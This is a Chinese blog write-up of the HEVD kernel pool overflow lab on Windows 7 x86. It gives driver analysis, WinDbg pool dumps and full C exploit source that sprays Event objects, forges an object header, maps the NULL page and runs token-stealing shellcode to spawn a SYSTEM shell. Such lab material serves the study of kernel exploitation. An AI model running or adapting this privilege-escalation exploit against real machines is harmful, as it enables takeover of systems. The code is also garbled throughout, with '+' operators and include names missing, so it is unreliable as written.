漏洞分析丨HEVD-0x4.PoolOverflow[win7x86]

2022-07-15 20:06:38 浏览数 (2)

作者selph

前言

窥探Ring0漏洞世界:缓冲区溢出之池溢出

实验环境:

虚拟机:Windows 7 x86

物理机:Windows 10 x64

软件:IDAWindbgVS2022

漏洞分析

本次实验内容是PoolOverflow,IRP分发函数通过跳转表进行跳转,两项之间的控制码相差4,所以本次实验使用的控制码是:0x22200f,漏洞触发代码:

int __stdcall TriggerBufferOverflowNonPagedPool(void *UserBuffer, unsigned int Size) { PVOID PoolWithTag; // ebx  _DbgPrintEx(0x4Du, 3u, "[ ] Allocating Pool chunkn");   PoolWithTag = ExAllocatePoolWithTag(NonPagedPool, 0x1F8u, 'kcaH');// 申请非分页池内存   if ( PoolWithTag )                           // 申请成功打印相关信息   {    _DbgPrintEx(0x4Du, 3u, "[ ] Pool Tag: %sn", "'kcaH'");    _DbgPrintEx(0x4Du, 3u, "[ ] Pool Type: %sn", "NonPagedPool");    _DbgPrintEx(0x4Du, 3u, "[ ] Pool Size: 0x%zXn", 0x1F8u);    _DbgPrintEx(0x4Du, 3u, "[ ] Pool Chunk: 0x%pn", PoolWithTag);    ProbeForRead(UserBuffer, 0x1F8u, 1u);       // 确保输入参数地址可读    _DbgPrintEx(0x4Du, 3u, "[ ] UserBuffer: 0x%pn", UserBuffer);    _DbgPrintEx(0x4Du, 3u, "[ ] UserBuffer Size: 0x%zXn", Size);    _DbgPrintEx(0x4Du, 3u, "[ ] KernelBuffer: 0x%pn", PoolWithTag);    _DbgPrintEx(0x4Du, 3u, "[ ] KernelBuffer Size: 0x%zXn", 0x1F8u);    _DbgPrintEx(0x4Du, 3u, "[ ] Triggering Buffer Overflow in NonPagedPooln");    memcpy(PoolWithTag, UserBuffer, Size);      // 复制输入参数到申请的内存里    _DbgPrintEx(0x4Du, 3u, "[ ] Freeing Pool chunkn");    _DbgPrintEx(0x4Du, 3u, "[ ] Pool Tag: %sn", "'kcaH'");    _DbgPrintEx(0x4Du, 3u, "[ ] Pool Chunk: 0x%pn", PoolWithTag);    ExFreePoolWithTag(PoolWithTag, 'kcaH');     // 释放内存    return 0;   }   else   {    _DbgPrintEx(0x4Du, 3u, "[-] Unable to allocate Pool chunkn");    return 0xC0000017;   } }

乍看之下好像没啥问题,填充缓冲区,同时也限制大小了,仔细一看,emmm,申请内存的大小是0x1F8字节,复制的时候复制大小来自用户输入,是个经典的缓冲区溢出,不过缓冲区是位于非分页池内存

漏洞利用

池风水

内核池类似于用户层的堆,也是用来动态分配内存的。因为是动态分配,所以分配的内存位置就会不固定,在用户层有堆喷射这样的技术来辅助突破动态地址,这里则需要在内核里也找到一种方法来修改内存池,以便在内存区域精准调用shellcode

本例中的程序将用户缓冲区分配在了非分页内存池里,所以需要找到一种方法对非分页池中的地址进行操作以便辅助定位shellcode的执行

Windows提供了一种Event对象,存储在非分页池中,使用API-CreateEventA创建。

根据参考资料[2]中论文的介绍,我们可知:

内核池空闲池块保存在一个链表结构里,当进行申请该池的内存的时候,会从链表里找到合适大小的池块进行分配,如果找不到,则会寻找相近大小的池块进行切割然后再分配;

当空闲链表里有位置相邻的空闲池块,则会进行合并操作,合并成一个大的池块

通过大量申请Event对象,然后通过CloseHandle释放一部分Event对象留出合适的空间给用户缓冲区,那么用户缓冲区很可能就会出现在我们挖出的空缺位置上,并且同时紧紧挨着一个Event对象,也就是说,可以固定让用户缓冲区后面紧挨着一个Event对象

这里需要创建两个足够大的Event对象数组,一个用来消耗小尺寸空闲内存块,一个用来挖出空缺提供给用户缓冲区

在空出的空闲块中,我们将有漏洞的用户缓冲区插入,

图示如下:(参考资料[7])

利用原理&Event对象结构

这里的利用方式与之前的堆溢出覆盖堆块链表指针不同,这里通过伪造对象结构来通过堆溢出利用伪造的对象进行执行shellcode(一句话概括:控制缓冲区紧挨着一个Event对象,通过覆盖伪造一个OBJECT_TYPE头,覆盖指向OBJECT_TYPE_INITIALIZER中的一个过程的指针,通过执行该过程从而执行shellcode)具体分析往下看即可

先给一个刚好大小的正常输入看看池的情况:

#include #include int main() { ULONG UserBufferSize = 0x1f8;     char* UserBuffer = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);    RtlFillMemory(UserBuffer, UserBufferSize, 0x66);    HANDLE hDevice = ::CreateFileW(L"\\.\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);     ULONG WriteRet = 0;    DeviceIoControl(hDevice, 0x222003 4 * 3, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);    HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);    return 0; }

给内核漏洞函数下断点,执行到分配缓冲区结束,查看池信息:

一共分配了0x1f8 0x8 = 0x200字节的空间(那8字节是32位池头大小),填充满内容则会紧接着下一个池块头,如果发生溢出,就会覆盖到下一个池块

因为可以控制的是溢出到的下一个池块必是一个Event对象结构,先操纵用户缓冲区在Event对象结构之前,然后定位该Event对象进行查看

CreateEventAPI创建的Event对象大小是40个字节,正好匹配池的0x200字节大小,大量喷射Event对象,然后释放其中8个刚好容纳缓冲区,代码:

#include #include int main() { ULONG UserBufferSize = 0x1f8;     char* UserBuffer = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);    RtlFillMemory(UserBuffer, UserBufferSize, 0x66);    HANDLE hDevice = ::CreateFileW(L"\\.\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);    HANDLE spray_event1[10000] = { 0 };    HANDLE spray_event2[5000] = { 0 };     for (size_t i = 0; i < 9999; i )     {        spray_event1[i] = CreateEventA(NULL, FALSE, FALSE, NULL);     }     for (size_t i = 0; i < 4999; i )     {        spray_event2[i] = CreateEventA(NULL, FALSE, FALSE, NULL);     }     for (size_t i = 0; i < 8; i )     {        CloseHandle(spray_event1[i]);     }     ULONG WriteRet = 0;    DeviceIoControl(hDevice, 0x222003 4 * 3, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);    HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);    return 0; }

查看池信息:

这里已经成功将缓冲区分配到了我面大量申请的内存的空隙中,可以看到这里紧挨着下一个池块:

接下来查看一下下一个池块的信息:

// 池块头部 kd> dt nt!_POOL_HEADER 0x8685b708 1f8    0x000 PreviousSize     : 0y001000000 (0x40)    0x000 PoolIndex        : 0y0000000 (0)    0x002 BlockSize        : 0y000001000 (0x8)    0x002 PoolType         : 0y0000010 (0x2)    0x000 Ulong1           : 0x4080040      // 池块头部    0x004 PoolTag          : 0xee657645     // 池块头部    0x004 AllocatorBackTraceIndex : 0x7645    0x006 PoolTagHash      : 0xee65 // 对象头配额信息 kd> dt nt!_OBJECT_HEADER_QUOTA_INFO 0x8685b708 1f8 8    0x000 PagedPoolCharge  : 0    0x004 NonPagedPoolCharge : 0x40     // 非分页池    0x008 SecurityDescriptorCharge : 0    0x00c SecurityDescriptorQuotaBlock : (null) // 对象头部 kd> dt nt!_OBJECT_HEADER 0x8685b708 1f8 18    0x000 PointerCount     : 0n1    0x004 HandleCount      : 0n1    0x004 NextToFree       : 0x00000001 Void    0x008 Lock             : _EX_PUSH_LOCK    0x00c TypeIndex        : 0xc ''     // 索引    0x00e InfoMask         : 0x8 ''    0x00f Flags            : 0 ''    0x010 ObjectCreateInfo : 0x8799cd80 _OBJECT_CREATE_INFORMATION    0x010 QuotaBlockCharged : 0x8799cd80 Void    0x014 SecurityDescriptor : (null)    0x018 Body             : _QUAD

这里的TypeIndex实际上是一个指针数组的偏移量大小,这个数组定义了每个对象的OBJECT_TYPE:

查看对象类型:

kd> dt nt!_OBJECT_TYPE 865f59c8 0x000 TypeList         : _LIST_ENTRY [ 0x865f59c8 - 0x865f59c8 ]    0x008 Name             : _UNICODE_STRING "Event"    0x010 DefaultObject    : (null)    0x014 Index            : 0xc ''    0x018 TotalNumberOfObjects : 0x4a14    0x01c TotalNumberOfHandles : 0x4a8a    0x020 HighWaterNumberOfObjects : 0x4a19    0x024 HighWaterNumberOfHandles : 0x4a8f    0x028 TypeInfo         : _OBJECT_TYPE_INITIALIZER    0x078 TypeLock         : _EX_PUSH_LOCK    0x07c Key              : 0x6e657645    0x080 CallbackList     : _LIST_ENTRY [ 0x865f5a48 - 0x865f5a48 ]

对象类型名称是Event事件对象,TypeInfo类型信息:

kd> dx -id 0,0,881fc560 -r1 (*((ntkrpamp!_OBJECT_TYPE_INITIALIZER *)0x865f59f0)) (*((ntkrpamp!_OBJECT_TYPE_INITIALIZER *)0x865f59f0))[Type: _OBJECT_TYPE_INITIALIZER]    [ 0x000] Length           : 0x50 [Type: unsigned short]    [ 0x002] ObjectTypeFlags  : 0x0 [Type: unsigned char]    [ 0x002 ( 0: 0)] CaseInsensitive : 0x0 [Type: unsigned char]    [ 0x002 ( 1: 1)] UnnamedObjectsOnly : 0x0 [Type: unsigned char]    [ 0x002 ( 2: 2)] UseDefaultObject : 0x0 [Type: unsigned char]    [ 0x002 ( 3: 3)] SecurityRequired : 0x0 [Type: unsigned char]    [ 0x002 ( 4: 4)] MaintainHandleCount : 0x0 [Type: unsigned char]    [ 0x002 ( 5: 5)] MaintainTypeList : 0x0 [Type: unsigned char]    [ 0x002 ( 6: 6)] SupportsObjectCallbacks : 0x0 [Type: unsigned char]    [ 0x004] ObjectTypeCode   : 0x2 [Type: unsigned long]    [ 0x008] InvalidAttributes : 0x100 [Type: unsigned long]    [ 0x00c] GenericMapping   [Type: _GENERIC_MAPPING]    [ 0x01c] ValidAccessMask  : 0x1f0003 [Type: unsigned long]    [ 0x020] RetainAccess     : 0x0 [Type: unsigned long]    [ 0x024] PoolType         : NonPagedPool (0) [Type: _POOL_TYPE]    [ 0x028] DefaultPagedPoolCharge : 0x0 [Type: unsigned long]    [ 0x02c] DefaultNonPagedPoolCharge : 0x40 [Type: unsigned long]    [ 0x030] DumpProcedure    : 0x0 : 0x0 [Type: void (*)(void *,_OBJECT_DUMP_CONTROL *)]    [ 0x034] OpenProcedure    : 0x0 : 0x0 [Type: long (*)(_OB_OPEN_REASON,char,_EPROCESS *,void *,unsigned long *,unsigned long)]    [ 0x038] CloseProcedure   : 0x0 : 0x0 [Type: void (*)(_EPROCESS *,void *,unsigned long,unsigned long)]    [ 0x03c] DeleteProcedure  : 0x0 : 0x0 [Type: void (*)(void *)]    [ 0x040] ParseProcedure   : 0x0 : 0x0 [Type: long (*)(void *,void *,_ACCESS_STATE *,char,unsigned long,_UNICODE_STRING *,_UNICODE_STRING *,void *,_SECURITY_QUALITY_OF_SERVICE *,void * *)]    [ 0x044] SecurityProcedure : 0x840ab5b6 : ntkrpamp!_SeDefaultObjectMethod@36 0x0 [Type: long (*)(void *,_SECURITY_OPERATION_CODE,unsigned long *,void *,unsigned long *,void * *,_POOL_TYPE,_GENERIC_MAPPING *,char)]    [ 0x048] QueryNameProcedure : 0x0 : 0x0 [Type: long (*)(void *,unsigned char,_OBJECT_NAME_INFORMATION *,unsigned long,unsigned long *,char)]    [ 0x04c] OkayToCloseProcedure : 0x0 : 0x0 [Type: unsigned char (*)(_EPROCESS *,void *,void *,char)]

可以看到这个结构里面后面有一些函数指针,我们可以从提供的程序中挑选以供自己使用,这里选择0x38的CloseProcedure,这个函数会在对象被释放的时候调用,偏移为:0x28 0x38 = 0x60,覆盖这个指针,指向shellcode,然后释放对象,就会调用该方法,从而执行shellcode

那么,我们的目标就是把TypeIndex的偏移量从0xc改成0x0,第一个指针是空指针,不被使用的,在Windows7中有一个漏洞,可以调用NtAllocateVirtualMemory来映射到NULL页面,然后覆盖0x60处的指针,指向shellcode地址,完成溢出覆盖,然后接下来只需要释放这个对象,即可完成利用

编写EXP

完整利用代码如下(以删去一些不必要的打印以免看着乱):

#include #include typedef NTSTATUS(WINAPI* NtAllocateVirtualMemory_t)(IN HANDLEProcessHandle,     IN OUT PVOID* BaseAddress,     IN ULONG      ZeroBits,     IN OUT PULONG AllocationSize,     IN ULONG      AllocationType,     IN ULONG      Protect); // Windows 7 SP1 x86 Offsets #define KTHREAD_OFFSET     0x124 // nt!_KPCR.PcrbData.CurrentThread #define EPROCESS_OFFSET    0x050 // nt!_KTHREAD.ApcState.Process #define PID_OFFSET         0x0B4 // nt!_EPROCESS.UniqueProcessId #define FLINK_OFFSET       0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink #define TOKEN_OFFSET       0x0F8 // nt!_EPROCESS.Token #define SYSTEM_PID         0x004 // SYSTEM Process PID VOID TokenStealingPayloadWin7() {     // Importance of Kernel Recovery     __asm {        pushad         ;获取当前进程EPROCESS        xor eax, eax        mov eax, fs: [eax KTHREAD_OFFSET]        mov eax, [eax EPROCESS_OFFSET]        mov ecx, eax         ;搜索system进程EPROCESS        mov edx, SYSTEM_PID        SearchSystemPID :        mov eax, [eax FLINK_OFFSET]            sub eax, FLINK_OFFSET            cmp[eax PID_OFFSET], edx            jne SearchSystemPID            ; token窃取            mov edx, [eax TOKEN_OFFSET]            mov[ecx TOKEN_OFFSET], edx            ; 环境还原   返回            popad            mov eax,1     } } BOOL MapNullPage() {    HMODULE hNtdll;    SIZE_T RegionSize = 0x1000;           // will be rounded up to the next host                                            // page size address boundary -> 0x2000     PVOID BaseAddress = (PVOID)0x00000001; // will be rounded down to the next host                                            // page size address boundary -> 0x00000000    hNtdll = GetModuleHandle(L"ntdll.dll");     // Grab the address of NtAllocateVirtualMemory    NtAllocateVirtualMemory_t    NtAllocateVirtualMemory;    NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");     // Allocate the Virtual memory    NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF,        &BaseAddress,        0,        &RegionSize,        MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,        PAGE_EXECUTE_READWRITE);    FreeLibrary(hNtdll);    return TRUE; } int main() {     ULONG UserBufferSize = 0x1f8 40;     PVOID EopPayload = &TokenStealingPayloadWin7;    HANDLE hDevice = ::CreateFileW(L"\\.\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);     char* UserBuffer = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);     // 溢出覆盖一整个Event对象    RtlFillMemory(UserBuffer, UserBufferSize, 0x66);     PVOID Memory = NULL;    Memory = (PVOID)((ULONG)UserBuffer 0x1f8);    *(PULONG)Memory = (ULONG)0x04080040;    Memory = (PVOID)((ULONG)Memory 0x4);    *(PULONG)Memory = (ULONG)0xee657645;    Memory = (PVOID)((ULONG)Memory 0x4);     *(PULONG)Memory = (ULONG)0x00000000;    Memory = (PVOID)((ULONG)Memory 0x4);    *(PULONG)Memory = (ULONG)0x00000040;    Memory = (PVOID)((ULONG)Memory 0x4);    *(PULONG)Memory = (ULONG)0x00000000;    Memory = (PVOID)((ULONG)Memory 0x4);    *(PULONG)Memory = (ULONG)0x00000000;    Memory = (PVOID)((ULONG)Memory 0x4);    *(PULONG)Memory = (ULONG)0x00000001;    Memory = (PVOID)((ULONG)Memory 0x4);    *(PULONG)Memory = (ULONG)0x00000001;    Memory = (PVOID)((ULONG)Memory 0x4);    *(PULONG)Memory = (ULONG)0x00000000;    Memory = (PVOID)((ULONG)Memory 0x4);    *(PULONG)Memory = (ULONG)0x00080000;     // 映射Null页面,设置指针    MapNullPage();    *(PULONG)0x00000060 = (ULONG)EopPayload;     // 池喷射    HANDLE spray_event1[10000] = { 0 };    HANDLE spray_event2[5000] = { 0 };     for (size_t i = 0; i < 10000; i )     {        spray_event1[i] = CreateEventA(NULL, FALSE, FALSE, NULL);     }     for (size_t i = 0; i < 5000; i )     {        spray_event2[i] = CreateEventA(NULL, FALSE, FALSE, NULL);     }     // 制造空缺     for (size_t i = 0; i < 5000; i =16)     {        for (size_t j = 0; j < 8; j )         {            CloseHandle(spray_event2[i j]);         }     }     // 触发溢出覆盖     ULONG WriteRet = 0;    DeviceIoControl(hDevice, 0x222003 4 * 3, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);    HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);    UserBuffer = NULL;     // 释放多余的对象     for (size_t i = 0; i < 10000; i )     {        CloseHandle(spray_event1[i]);     }     for (size_t i = 8; i < 5000; i = 16)     {        for (size_t j = 0; j < 8; j )         {            CloseHandle(spray_event2[i j]);         }     }    system("pause");    system("cmd.exe");     return 0; }

效果截图

参考资料

• [1] FuzzySecurity | Windows ExploitDev: Part 16 https://www.fuzzysecurity.com/tutorials/expDev/20.html

• [2] kernelpool-exploitation.pdf (packetstormsecurity.net) https://dl.packetstormsecurity.net/papers/general/kernelpool-exploitation.pdf

• [3] Understanding Pool Corruption Part 1 – Buffer Overflows | Microsoft Docs  

https://docs.microsoft.com/zh-cn/archive/blogs/ntdebugging/understanding-pool-corruption-part-1-buffer-overflows

• [4] Understanding Pool Corruption Part 2 – Special Pool for Buffer Overruns | Microsoft Docs  

https://docs.microsoft.com/zh-cn/archive/blogs/ntdebugging/understanding-pool-corruption-part-2-special-pool-for-buffer-overruns

• [5] Understanding Pool Corruption Part 3 – Special Pool for Double Frees | Microsoft Docs  

https://docs.microsoft.com/zh-cn/archive/blogs/ntdebugging/understanding-pool-corruption-part-3-special-pool-for-double-frees

• [6] [翻译]Windows内核漏洞学习-内核池攻击原理_Wwoc的博客-CSDN博客

https://blog.csdn.net/qq_38025365/article/details/106291907

• [7] [翻译]# Windows 内核 利用教程 4 池风水 -> 池溢出-外文翻译-看雪论坛-安全社区|安全招聘|bbs.pediy.com https://bbs.pediy.com/thread-223719.htm

• [8] CreateEventA function (synchapi.h) - Win32 apps | Microsoft Docs 

https://docs.microsoft.com/zh-cn/windows/win32/api/synchapi/nf-synchapi-createeventa?redirectedfrom=MSDN

0 人点赞